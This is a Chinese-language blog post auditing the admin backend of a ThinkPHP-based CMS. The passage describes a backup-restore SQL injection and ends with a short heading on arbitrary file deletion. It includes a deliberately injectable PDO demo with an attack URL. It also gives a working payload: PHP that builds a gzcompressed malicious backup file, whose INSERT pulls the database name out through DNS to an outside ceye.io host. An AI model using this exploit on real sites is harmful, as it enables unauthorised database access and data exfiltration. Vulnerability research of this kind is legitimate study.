前言

基于tp框架开发,个人对这类的cms审计主要看application中的控制模块

后台sql注入

这个sql注入点还是很有意思的,跟一下。由于之前看到使用了pdo,在看controller的时候看见一个直接

利用效果:

image.png

由于条件比较苛刻,在insert into中,所以这里采用了dnslog带外注入

首先分析一下PDO在哪些条件下可以注入:

  1. 预编译下的堆叠/报错注入
  2. 宽字节注入

看个例子:

<?php
$dbms='mysql';
$host='127.0.0.1';
$dbName='test1';
$user='root';
$pass='root';
$dsn="$dbms:host=$host;dbname=$dbName";
try {
     $pdo = new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false));
} catch (PDOException $e) {
     echo $e;
}
$username = $_GET['username'];
$sql = "select * from blue_user where user_id= $_GET[1] and username=1";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
     var_dump($row);
     echo "<br>";
}

可以看到这里的这个pdo就有问题,在sql语句中我们可以直接控制sql,所以依然存在注入:

http://localhost/?1=1%20or%201=1%20%23&username=admin

image.png

看了之前的分析,下面来看看这里漏洞原理:

漏洞分析:

image.png

可以这里对数据库进行了操作(后面发现是对数据库的恢复):并且对文件直接进行了拼接,以为着我们可以先上传恶意文件,然后在进行操作:

看一下restoredb函数:

protected function restoredb($file, $dbnm, $dbPrefix)
    {
        if(is_file($file)){
            $dbrec = Operc::getc('cdbbackup');
            $sql = "SHOW TABLES FROM {$dbnm} LIKE '{$dbPrefix}%'";
            $renm = Db::query($sql);
            foreach($renm as $nmval){
                reset($nmval);
                $tbnm = current($nmval);
                $sql = 'TRUNCATE TABLE `'.$tbnm.'`';
                Db::execute($sql);
            }
            $bkf = gzuncompress(file_get_contents($file));
            $bkarr = explode('--CATFISH\'CMS',$bkf);
            $zstr = '';
            $fstin = stripos($bkarr[0], 'INSERT INTO');
            if($fstin === false){
                $zstr = array_shift($bkarr);
            }
            else{
                $zstr = substr($bkarr[0], 0, $fstin);
                $bkarr[0] = trim(substr($bkarr[0], $fstin));
            }
            $zarr = explode(PHP_EOL, $zstr);
            $prefix = '';
            foreach($zarr as $key => $val){
                $ppos = stripos($val, 'Table prefix:');
                if($ppos !== false){
                    $ppos = $ppos + strlen('Table prefix:');
                    $prefix = trim(substr($val, $ppos));
                    break;
                }
            }
            foreach($bkarr as $q){
                $q = trim($q);
                if(!empty($prefix)){
                    $inlen = strlen('INSERT INTO `') + strlen($prefix);
                    $q = 'INSERT INTO `' . $dbPrefix . substr($q, $inlen);
                }
                Db::execute(trim($q));
            }
            Operc::setc('cdbbackup', $dbrec);
            return 'ok';
        }
        else{
            return Lang::get('Backup file has expired');
        }
    }

可以看到这里的$q可以控制,也就是非占位符的利用,但是在进入这里之前会有一堆判断需要一一解决:

先 看一下execute函数:

image.png

一个参数捆绑和pdo预处理过程:

下面开始构造的们恶意文件:

第一个判断:

image.png

is_file比较好说,存在就过:接下来:

image.png

读取文件中的内容,进行gzuncompress解压字符串,这个函数在免杀马中经常用到,对应的函数是:gzcompress

image.png

由于要进入foreach循环:

必须存在bkarr[0],所以说

$bkarr = explode('--CATFISH\'CMS',$bkf);

第一步我们选择不存在,bkarr[0]就是文件的所有内容

$fstin = stripos($bkarr[0], 'INSERT INTO');
............
$bkarr[0] = trim(substr($bkarr[0], $fstin));

这里这fstin参数我们可以控制,以为着bkarr[0]完全可控:

            foreach($zarr as $key => $val){
                $ppos = stripos($val, 'Table prefix:');
                if($ppos !== false){
                    $ppos = $ppos + strlen('Table prefix:');
                    $prefix = trim(substr($val, $ppos));
                    break;
                }
            }

可以在文件中添加table prefix:控制$prefix:

image.png

最后便来到sql执行的地方:

这里的payload有很多,附上自己的

<?php
// $compressed   = gzcompress("aaaaaaaaaaaaaaaaaaaaaaaaTable prefix: aaaa INSERT INTO a: sdusers` values (5,2,3,4,5,6,7,8,'1997-10-04 22:23:00',load_file(concat('\\\\',(select database()),'.eo5zf8.ceye.io\\sql'),11,'1997-10-04 22:23:00','1997-10-04 22:23:00',14,15,16,17,18,19);", 9);
$compressed   = gzcompress("aaaaaaaaaaaaaaaaaaaaaaaaTable prefix: aaaa INSERT INTO a: sdnav_cat` values (1,(load_file(concat('\\\\\\\\',(select database()),'.eo5zf8.ceye.io\\\\sql'))),4,3);", 9);
$uncompressed = gzuncompress($compressed);
file_put_contents('../../test/c.txt',$compressed);
echo $uncompressed;
?>

接下来把这个东西传上去:

image.png

得到接路径后接下来构造:

image.pngimage.png

后台任意文件删除

image.png

Last modification:July 13th, 2021 at 09:13 pm